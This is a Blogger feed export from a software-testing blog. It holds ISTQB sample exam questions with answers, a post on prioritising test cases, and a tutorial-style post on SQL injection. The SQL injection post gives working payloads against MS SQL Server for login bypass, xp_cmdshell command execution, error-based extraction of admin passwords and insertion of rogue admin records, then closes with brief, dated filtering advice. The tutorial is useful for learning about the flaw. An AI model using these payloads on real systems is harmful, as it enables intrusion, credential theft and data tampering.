&lt;br /&gt;
 &lt;br /&gt;
18. In which activity of the Fundamental Test Process is the test environment set up? &lt;br /&gt;
A. Test implementation and execution. &lt;br /&gt;
B. Test planning and control &lt;br /&gt;
C. Test analysis and design &lt;br /&gt;
D. Evaluating exit criteria and reporting &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
19. Which of the following statements about black box and white box techniques is correct? &lt;br /&gt;
A. Decision Testing, Equivalence Partitioning and Condition Coverage are all black box techniques &lt;br /&gt;
B. Decision Table Testing, State Transition and Use Case Testing are all black box techniques &lt;br /&gt;
C. Decision Testing, Equivalence Partitioning and Statement Testing are all white box techniques &lt;br /&gt;
D. Boundary Value Analysis, State Transition and Statement Testing are all white box techniques &lt;br /&gt;
Answer: B &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
20. Which of the following are characteristic of test management tools? &lt;br /&gt;
a) They support traceability of tests to source documents. &lt;br /&gt;
b) They provide an interface to test execution tools.  &lt;br /&gt;
c) They help to enforce coding standards. &lt;br /&gt;
d) They manipulate databases and files to set up test data. &lt;br /&gt;
A. a and c &lt;br /&gt;
B. b and c &lt;br /&gt;
C. a and b &lt;br /&gt;
D. b and d &lt;br /&gt;
Answer: C &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
21. How is the scope of maintenance testing assessed? &lt;br /&gt;
A. Scope is related to the risk, size of the changes and size of the system under test &lt;br /&gt;
B. Scope is defined by the size and type of system being changed &lt;br /&gt;
C. Scope is defined by the size and type of system being changed &lt;br /&gt;
D. Scope is related to the number of system users affected by the change. &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
22. A system under development contains complex calculations and decision logic, and it is assessed as high risk because of the relative inexperience of the development team in the application domain. Which of the following would be the MOST appropriate choice of test design technique for component testing? &lt;br /&gt;
A. Decision testing. &lt;br /&gt;
B. Statement testing &lt;br /&gt;
C. State transition testing &lt;br /&gt;
D. Equivalence partitioning &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
23. Which of the following is an example of a product risk? &lt;br /&gt;
A. Software that does not perform its intended functions &lt;br /&gt;
B. Failure of a third party &lt;br /&gt;
C. Problems in defining the right requirements &lt;br /&gt;
BH0-010 &lt;br /&gt;
D. Skill and staff shortages &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
24. Given the following sample of pseudo code: &lt;br /&gt;
01 Input number of male tigers &lt;br /&gt;
02 Input number of female tigers &lt;br /&gt;
03 If male tiger &gt; 0 and female tiger &gt; 0 then &lt;br /&gt;
04 Input Do you want to breed (Yes / No) &lt;br /&gt;
05 If breed = No? &lt;br /&gt;
06 Print Keep male and female tigers apart &lt;br /&gt;
07 End if &lt;br /&gt;
08 End If &lt;br /&gt;
Which of the following test cases will ensure that statement 6 is executed?  &lt;br /&gt;
A. male tiger = 1, female tiger = 1, breed = yes &lt;br /&gt;
B. male tiger = 1, female tiger = 1, breed = no &lt;br /&gt;
C. male tiger = 1, female tiger = 2, breed = yes &lt;br /&gt;
D. male tiger = 1, female tiger = 0, breed = no &lt;br /&gt;
Answer: B &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
25. Which of the following BEST describes a data-driven approach to the use of test execution tools? &lt;br /&gt;
A. Monitoring response times when the system contains a specified amount of data &lt;br /&gt;
B. Manipulation of databases and files to create test data &lt;br /&gt;
C. Using a generic script that reads test input data from a file &lt;br /&gt;
D. Recording test scripts and playing them back &lt;br /&gt;
Answer: C &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
26. Which statement about combinations of inputs and preconditions is true for a large system? &lt;br /&gt;
A. It is easy to test them all in a short time &lt;br /&gt;
B. It is not practically possible to test them all &lt;br /&gt;
C. It is not possible to test any of them &lt;br /&gt;
D. It is essential to test them all in order to do good testing &lt;br /&gt;
Answer: B &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
28. Which of the following is a purpose of the review kick off activity? &lt;br /&gt;
A. Explain the objectives &lt;br /&gt;
B. Select the personnel group &lt;br /&gt;
C. Document results  &lt;br /&gt;
D. Define entry and exit criteria &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
29. Which one of the following is true of software development models? &lt;br /&gt;
A. There are always four test levels in the V-model. &lt;br /&gt;
B. In a Rapid Application Development (RAD) project, there are four test levels for each iteration. &lt;br /&gt;
C. In Agile development models, the number of test levels for an iteration can vary depending on the project. &lt;br /&gt;
D. There must be at least four test levels for any software development model. &lt;br /&gt;
Answer: C &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
30. Which of the following activities should be performed during the selection and implementation of a testing tool? &lt;br /&gt;
a) Determine whether the organization existing test process needs to change. &lt;br /&gt;
b) Conduct a proof of concept. &lt;br /&gt;
c) Implement the selected tool on a project behind schedule to save time. &lt;br /&gt;
d) Identify coaching and mentoring requirements for the use of the selected tool &lt;br /&gt;
A. a, b and c. &lt;br /&gt;
B. b, c and d. &lt;br /&gt;
C. a, c and d. &lt;br /&gt;
D. a, b and d. &lt;br /&gt;
Answer: D &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
31. The following code segment contains a potential &quot;divide by 0&quot; error. &lt;br /&gt;
J=50 K=1 while (N&gt;=−10) and (N&lt;=10) loop M [K] = J/N K = K + 1 N = N − 1 end loop; Which of the following is the most effective way of detecting this error? &lt;br /&gt;
A. Boundary testing B. Condition testing C. Compilation of the source code D. Source code inspection &lt;br /&gt;
Answer: D &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
32. A test team consistently finds between 90% and 95% of the defects present in the system under test. While the test manager understands that this is a good defect-detection percentage for her test team and industry, senior management and executives remain disappointed in the test group, saying that the test team misses too many bugs. Given that the users are generally happy with the system and that the failures which have occurred have generally been low impact, which of the following testing principles is most likely to help the test manager explain to these managers and executives why some defects are likely to be missed? &lt;br /&gt;
A. Exhaustive testing is impossible B. Defect clustering C. Pesticide paradox D. Absence-of-errors fallacy &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
33. System test execution on a project is planned for eight weeks. After a week of testing, a tester suggests that the test objective stated in the test plan of &#39;finding as many defects as possible during system test&#39; might be more closely met by redirecting the test effort according to which test principle? &lt;br /&gt;
A. Impossibility of exhaustive testing. B. Importance of early testing. C. The absence of errors fallacy. D. Defect clustering &lt;br /&gt;
Answer: D &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
34. Which of the following statements is MOST OFTEN true? &lt;br /&gt;
A. Source-code inspections are often used in component testing. B. Component testing searches for defects in programs that are separately testable. C. Component testing is an important part of user acceptance testing. D. Component testing aims to expose problems in the interactions between software and hardware components. &lt;br /&gt;
Answer: B</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/3368659990183928570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/12/istqb-iseb-foundation-level-sample.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/3368659990183928570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/3368659990183928570'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/12/istqb-iseb-foundation-level-sample.html' title='ISTQB ISEB Foundation Level Sample Paper'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-6580532784378252767</id><published>2011-11-26T07:29:00.000-08:00</published><updated>2011-11-26T07:29:52.301-08:00</updated><title type='text'>Developer vs Tester</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNp5HQbw3xhiAoQC-qYwtywcf9NQN_M3AANueIr5UlSfWiKgDAUYj2BZOVezMlgNhhJBVzoSUsZIBl_31obi8zhrWiH-qQ4Kx52efEszLdfA3kSU3Sy42cV2R-qhjS5TnJvFSTaAxL-A/s1600/385901_312319665446615_100000057510324_1243208_373462037_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left:1em; margin-right:1em&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;226&quot; width=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNp5HQbw3xhiAoQC-qYwtywcf9NQN_M3AANueIr5UlSfWiKgDAUYj2BZOVezMlgNhhJBVzoSUsZIBl_31obi8zhrWiH-qQ4Kx52efEszLdfA3kSU3Sy42cV2R-qhjS5TnJvFSTaAxL-A/s320/385901_312319665446615_100000057510324_1243208_373462037_n.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/6580532784378252767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/developer-vs-tester.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/6580532784378252767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/6580532784378252767'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/developer-vs-tester.html' title='Developer vs Tester'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNp5HQbw3xhiAoQC-qYwtywcf9NQN_M3AANueIr5UlSfWiKgDAUYj2BZOVezMlgNhhJBVzoSUsZIBl_31obi8zhrWiH-qQ4Kx52efEszLdfA3kSU3Sy42cV2R-qhjS5TnJvFSTaAxL-A/s72-c/385901_312319665446615_100000057510324_1243208_373462037_n.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-264872267434173866</id><published>2011-11-23T22:43:00.000-08:00</published><updated>2011-11-23T22:43:21.739-08:00</updated><title type='text'>SQL Injections</title><content type='html'>1 What is SQL Injection?&lt;br /&gt;
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.&lt;br /&gt;
&lt;br /&gt;
2 What do you need?&lt;br /&gt;
Any web browser.&lt;br /&gt;
&lt;br /&gt;
3 What you should look for?&lt;br /&gt;
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for &quot;FORM&quot; tag in the HTML code. You may find something like this in some HTML codes:&lt;br /&gt;
&lt;FORM action=Search/search.asp method=post&gt;&lt;input type=hidden name=A value=C&gt;&lt;br /&gt;
&lt;/FORM&gt;&lt;br /&gt;
Everything between the &lt;FORM&gt;and &lt;/FORM&gt;have potential parameters that might be useful (exploit wise).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4 What if you can&#39;t find any page that takes input?&lt;br /&gt;
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10&lt;br /&gt;
&lt;br /&gt;
5 How do you test if it is vulnerable?&lt;br /&gt;
Start with a single quote trick. Input something like:&lt;br /&gt;
&lt;br /&gt;
hi&#39; or 1=1--&lt;br /&gt;
&lt;br /&gt;
Into login, or password, or even in the URL. Example:&lt;br /&gt;
 - Login: hi&#39; or 1=1--&lt;br /&gt;
 - Pass: hi&#39; or 1=1--&lt;br /&gt;
 - http://duck/index.asp?id=hi&#39; or 1=1--&lt;br /&gt;
&lt;br /&gt;
If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:&lt;br /&gt;
&lt;br /&gt;
&lt;FORM action=http://duck/Search/search.asp method=post&gt;&lt;input type=hidden name=A value=&quot;hi&#39; or 1=1--&quot;&gt;&lt;br /&gt;
&lt;/FORM&gt;&lt;br /&gt;
If luck is on your side, you will get login without any login name or password.&lt;br /&gt;
&lt;br /&gt;
6 But why &#39; or 1=1--?&lt;br /&gt;
Let us look at another example why &#39; or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?category=food&lt;br /&gt;
&lt;br /&gt;
In the URL, &#39;category&#39; is the variable name, and &#39;food&#39; is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):&lt;br /&gt;
&lt;br /&gt;
v_cat = request(&quot;category&quot;)&lt;br /&gt;
sqlstr=&quot;SELECT * FROM product WHERE PCategory=&#39;&quot; &amp; v_cat &amp; &quot;&#39;&quot;&lt;br /&gt;
set rs=conn.execute(sqlstr)&lt;br /&gt;
&lt;br /&gt;
As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM product WHERE PCategory=&#39;food&#39;&lt;br /&gt;
&lt;br /&gt;
The query should return a resultset containing one or more rows that match the WHERE condition, in this case, &#39;food&#39;.&lt;br /&gt;
&lt;br /&gt;
Now, assume that we change the URL into something like this:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?category=food&#39; or 1=1--&lt;br /&gt;
&lt;br /&gt;
Now, our variable v_cat equals to &quot;food&#39; or 1=1-- &quot;, if we substitute this in the SQL query, we will have:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM product WHERE PCategory=&#39;food&#39; or 1=1--&#39;&lt;br /&gt;
&lt;br /&gt;
The query now should now select everything from the product table regardless if PCategory is equal to &#39;food&#39; or not. A double dash &quot;--&quot; tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote (&#39;). Sometimes, it may be possible to replace double dash with single hash &quot;#&quot;.&lt;br /&gt;
&lt;br /&gt;
However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try&lt;br /&gt;
&lt;br /&gt;
&#39; or &#39;a&#39;=&#39;a&lt;br /&gt;
&lt;br /&gt;
The SQL query will now become:&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM product WHERE PCategory=&#39;food&#39; or &#39;a&#39;=&#39;a&#39;&lt;br /&gt;
&lt;br /&gt;
It should return the same result.&lt;br /&gt;
&lt;br /&gt;
Depending on the actual SQL query, you may have to try some of these possibilities:&lt;br /&gt;
&lt;br /&gt;
&#39; or 1=1--&lt;br /&gt;
&quot; or 1=1--&lt;br /&gt;
or 1=1--&lt;br /&gt;
&#39; or &#39;a&#39;=&#39;a&lt;br /&gt;
&quot; or &quot;a&quot;=&quot;a&lt;br /&gt;
&#39;) or (&#39;a&#39;=&#39;a&lt;br /&gt;
&lt;br /&gt;
7 How do I get remote execution with SQL injection?&lt;br /&gt;
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:&lt;br /&gt;
&lt;br /&gt;
&#39;; exec master..xp_cmdshell &#39;ping 10.10.1.2&#39;--&lt;br /&gt;
&lt;br /&gt;
Try using double quote (&quot;) if single quote (&#39;) is not working.&lt;br /&gt;
&lt;br /&gt;
The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:&lt;br /&gt;
&lt;br /&gt;
#tcpdump icmp&lt;br /&gt;
&lt;br /&gt;
If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.&lt;br /&gt;
&lt;br /&gt;
8 How to get output of my SQL query?&lt;br /&gt;
It is possible to use sp_makewebtask to write your query into an HTML:&lt;br /&gt;
&lt;br /&gt;
&#39;; EXEC master..sp_makewebtask &quot;\\10.10.1.3\share\output.html&quot;, &quot;SELECT * FROM INFORMATION_SCHEMA.TABLES&quot;&lt;br /&gt;
&lt;br /&gt;
But the target IP must folder &quot;share&quot; sharing for Everyone.&lt;br /&gt;
&lt;br /&gt;
9 How to get data from the database using ODBC error message&lt;br /&gt;
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10&lt;br /&gt;
&lt;br /&gt;
We will try to UNION the integer &#39;10&#39; with another string from the database:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--&lt;br /&gt;
&lt;br /&gt;
The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:&lt;br /&gt;
&lt;br /&gt;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-&lt;br /&gt;
&lt;br /&gt;
This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;table1&#39; to a column of data type int.&lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is &quot;table1&quot;.&lt;br /&gt;
&lt;br /&gt;
To get the next table name, we can use the following query:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (&#39;table1&#39;)--&lt;br /&gt;
&lt;br /&gt;
We also can search for data using LIKE keyword:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE &#39;%25login%25&#39;--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;admin_login&#39; to a column of data type int.&lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
The matching patent, &#39;%25login%25&#39; will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, &quot;admin_login&quot;.&lt;br /&gt;
&lt;br /&gt;
10 How to mine all column names of a table?&lt;br /&gt;
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;admin_login&#39;--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;login_id&#39; to a column of data type int.&lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
Now that we have the first column name, we can use NOT IN () to get the next column name:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;admin_login&#39; WHERE COLUMN_NAME NOT IN (&#39;login_id&#39;)--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;login_name&#39; to a column of data type int.&lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
When we continue further, we obtained the rest of the column name, i.e. &quot;password&quot;, &quot;details&quot;. We know this when we get the following error message:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;admin_login&#39; WHERE COLUMN_NAME NOT IN (&#39;login_id&#39;,&#39;login_name&#39;,&#39;password&#39;,details&#39;)--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e14&#39;&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.&lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
11 How to retrieve any data we want?&lt;br /&gt;
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.&lt;br /&gt;
&lt;br /&gt;
Now, let&#39;s get the first login_name from the &quot;admin_login&quot; table:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;neo&#39; to a column of data type int.&lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
We now know there is an admin user with the login name of &quot;neo&quot;. Finally, to get the password of &quot;neo&quot; from the database:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=&#39;neo&#39;--&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;m4trix&#39; to a column of data type int.&lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
We can now login as &quot;neo&quot; with his password &quot;m4trix&quot;.&lt;br /&gt;
&lt;br /&gt;
12 How to get numeric string value?&lt;br /&gt;
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of &quot;trinity&quot; which is &quot;31173&quot;:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=&#39;trinity&#39;--&lt;br /&gt;
&lt;br /&gt;
We will probably get a &quot;Page Not Found&quot; error. The reason being, the password &quot;31173&quot; will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.&lt;br /&gt;
&lt;br /&gt;
To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b&#39;%20morpheus&#39;) FROM admin_login where login_name=&#39;trinity&#39;--&lt;br /&gt;
&lt;br /&gt;
We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for &#39;+&#39; = 0x2b). We will append &#39;(space)morpheus&#39; into the actual password. Therefore, even if we have a numeric string &#39;31173&#39;, it will become &#39;31173 morpheus&#39;. By manually calling the convert() function, trying to convert &#39;31173 morpheus&#39; into an integer, SQL Server will throw out ODBC error message:&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;31173 morpheus&#39; to a column of data type int.&lt;br /&gt;
/index.asp, line 5&lt;br /&gt;
&lt;br /&gt;
Now, you can even login as &#39;trinity&#39; with the password &#39;31173&#39;.&lt;br /&gt;
&lt;br /&gt;
13 How to update/insert data into the database?&lt;br /&gt;
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for &quot;neo&quot;:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10; UPDATE &#39;admin_login&#39; SET &#39;password&#39; = &#39;newpas5&#39; WHERE login_name=&#39;neo&#39;--&lt;br /&gt;
&lt;br /&gt;
To INSERT a new record into the database:&lt;br /&gt;
&lt;br /&gt;
http://duck/index.asp?id=10; INSERT INTO &#39;admin_login&#39; (&#39;login_id&#39;, &#39;login_name&#39;, &#39;password&#39;, &#39;details&#39;) VALUES (666,&#39;neo2&#39;,&#39;newpas5&#39;,&#39;NA&#39;)--&lt;br /&gt;
&lt;br /&gt;
We can now login as &quot;neo2&quot; with the password of &quot;newpas5&quot;.&lt;br /&gt;
&lt;br /&gt;
14 How to avoid SQL Injection?&lt;br /&gt;
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:&lt;br /&gt;
 - Input from users&lt;br /&gt;
 - Parameters from URL&lt;br /&gt;
 - Values from cookie&lt;br /&gt;
&lt;br /&gt;
For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.&lt;br /&gt;
&lt;br /&gt;
Change &quot;Startup and run SQL Server&quot; using low privilege user in SQL Server Security tab.&lt;br /&gt;
&lt;br /&gt;
Delete stored procedures that you are not using like:&lt;br /&gt;
&lt;br /&gt;
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/264872267434173866/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/sql-injections.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/264872267434173866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/264872267434173866'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/11/sql-injections.html' title='SQL Injections'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-9029652053528447285</id><published>2011-11-21T02:17:00.000-08:00</published><updated>2011-11-22T04:28:06.457-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Test Cases"/><title type='text'>Test Cases Priorities for executions</title><content type='html'>After building &amp; validating the testing models several test cases are generated. The next biggest task is to decide the priority for executing them by using some systematic procedure.&lt;br /&gt;
&lt;br /&gt;
The process begins with identification of &quot;Static Test Cases&quot; and &quot;Dynamic Test Runs&quot;, brief introduction of which is as under.&lt;br /&gt;
&lt;br /&gt;
Test case: It is a collection of several items and corresponding information, which enables a test to be executed or performing a test run.&lt;br /&gt;
&lt;br /&gt;
Test Run: It is a dynamic part of the specific testing activities in the overall sequence of testing on some specific testing object.&lt;br /&gt;
&lt;br /&gt;
Every time we invoke a static test case, we in-turn perform an individual dynamic test run. Hence we can say that, every test case can correspond to several test runs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Why &amp; how do we prioritize?&lt;br /&gt;
Out of a large cluster of test cases in our hand, we need to scientifically decide their priorities of execution based upon some rational, non-arbitrary, criteria. We carry out the prioritization activity with an objective to reduce the overall number of test cases in the total testing feat.&lt;br /&gt;
&lt;br /&gt;
There are couples of risks associated with our prioritization activities for the test cases. We may have the risk that some of the application features may not undergo testing at all.&lt;br /&gt;
&lt;br /&gt;
During prioritization we work out plans addressing following two key concepts:&lt;br /&gt;
&lt;br /&gt;
Concept – 1: Identify the essential features that must be tested in any case.&lt;br /&gt;
&lt;br /&gt;
Concept – 2: Identify the risk or consequences of not testing some of the features.&lt;br /&gt;
&lt;br /&gt;
The decision making in selecting the test cases is largely based upon the assessment of the risk first.&lt;br /&gt;
&lt;br /&gt;
The objective of the test case prioritization exercise is to build confidence among the testers and the project leaders that the tests identified for execution are adequate from different angles.&lt;br /&gt;
&lt;br /&gt;
The list of test cases decided for execution can be subjected to n-number of reviews in case of doubts / risks associated with any of the omitted tests.&lt;br /&gt;
&lt;br /&gt;
Following four schemes are quite common for prioritizing the test cases.&lt;br /&gt;
&lt;br /&gt;
All these methods are independent of each other &amp; are aimed at optimizing the number of test cases. It is difficult to brand either of the methods better than the other. We can use any one method as a standalone scheme or can be used in conjunction with another one. When we get similar results out of different prioritization schemes, level of confidence increases.&lt;br /&gt;
&lt;br /&gt;
Scheme – 1: Categorization of Priority.&lt;br /&gt;
&lt;br /&gt;
Scheme – 2: Risk analysis.&lt;br /&gt;
